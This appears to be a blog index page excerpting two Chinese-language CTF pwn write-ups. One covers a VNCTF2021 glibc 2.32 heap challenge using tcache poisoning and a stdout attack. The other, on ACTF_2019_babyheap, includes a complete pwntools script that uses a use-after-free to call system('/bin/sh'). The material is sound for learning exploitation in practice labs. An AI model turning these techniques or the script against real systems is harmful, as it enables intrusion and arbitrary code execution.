VNCTF2021 Pwn

一点废话 2021年三月某个周日,安排本来是上午运动,下午打这个比赛. 然而篮球斗牛过程中被对手爆了头,昏了一整天,遂将这比赛鸽了… 过了一个月,回头看下比赛中的pwn题. ff glibc 2.32, 需要疯狂调试的一道题,令人昏迷. 程序分析 漏洞 free 后指针未清空. 坑点 没用数组存储指针, 只能控制上一个malloc()的chunk 能malloc()的最大大小为0x7F (之后会发现这点把最后利用时使用的size卡的很死) show() 只能用一次, 应该是要打stdout了 edit() 只能用两次… 2.32中, tcache_entry 中的next指针会被PROTECT_PTR函数异或处理, 使用的mask为其地址»12. 思路 利用PROTECT_PTR: 利用next值为0的chunk, 和 mask ⊕ 0 = mask 以上这个特性, show()泄露出 mask. mask存放着 堆地址 » 12. show()次数用尽. 通过UAF漏洞, edit()修改tcache_entry中的key值. tcache_entry使用用户chunk中的用户数据,key就在所谓bk指针的位置. 修改完key值,就可以绕过检查进行double free(). 通过edit()做tcache poisoning, 劫持到tcache_perthread_struct. 需注意tcache_entry->next 指向的是用户数据段, 因此需要劫持的地址需要加上0x10. 还需要用之前泄露出的mask对其做一次异或. edit()次数用尽. edit(p64(mask ^ (heap_base + 0x10))+p64(0)) tcache_perthread_struct大小为0x290, 我们把counts[0x290]覆盖成大于等于7,就能将其释放到unsortedbin中. 非常重要的一点: 记得我们在tcache_perthread_struct操作, 该chunk进入unsortedbin中会对counts[]进行污染,我们要将其清零. 同时,我们也应当为之后的利用entries[]的操作做准备,设置对应的counts[]值使其大于零. 利用unsortedbin中chunk的分割,将main_arena地址写到entries[目标大小]中. 通过partial overwrite 打到_IO_2_1_stdout_ (需要爆破,1 / 2^4). ...

April 8, 2021 · 3 min · 566 words · N0k

简单堆题write-up

ACTF_2019_babyheap 经典的notebook题目结构, 堆利用当中最简单的类型 有 ============================== This is a heap exploit demo ============================== 1. Create something 2. Delete something 3. Print something 4. Exit create, delete, print 三个选项。 创建的结构体如下 字符串指针 函数指针 字符串也由malloc()创建,且可以任意指定其长度和内容。 free()的时候也没有清空内容。 利用思路很明显了: create两次,其中字符串的内容不重要,只要保证其释放后不被放入0x20的fastbin中。 此处使这这两个字符串大小为0x20,因此他们被释放后会被放入0x30的字符串当中。 释放这两个note之后的fastbin如下 0x20 note0 🠗 note1 0x30 String0 🠗 String1 再次create,但申请的字符串大小为0x10(chunk大小即为0x20)。fastbin是FILO(first in last out)的,那么 note2 = note1 string2 = note0 题目bss段中贴心的准备了/bin/sh字符串,也有system函数。 在create时向string2中写入 binsh地址 | system的PLT表地址 print选项调用note0.函数指针,就能成功调用system('/bin/sh'),完整payload如下 if len(sys.argv) >1 and sys.argv[1] == 'r': target = remote() else: target = process("./ACTF_2019_babyheap") if(len(sys.argv)>1) and sys.argv[1]=='g': gdb.attach(target) context.log_level='debug' binsh=0x602010 system_plt = 0x4007A0 def s(in_put): target.sendlineafter("choice: ",in_put) def create(size,content): s("1") target.recvuntil("size: \n") target.sendline(str(size)) target.recvuntil("content: \n") target.send(content) def delete(index): s("2") target.recvuntil("index: \n") target.sendline(str(index)) def pwn(): create(0x20,"A"*8+"\n") create(0x20,"B"*8+"\n") delete(0) delete(1) create(0x10,p64(binsh)+p64(system_plt)) #use print at index 0 to getshell after this target.interactive() pwn() WDB_2018_1st_babyheap 同样是菜单题目,设计的十分巧妙,涉及到了很多堆的知识点. ...

March 4, 2021 · 2 min · 360 words · N0k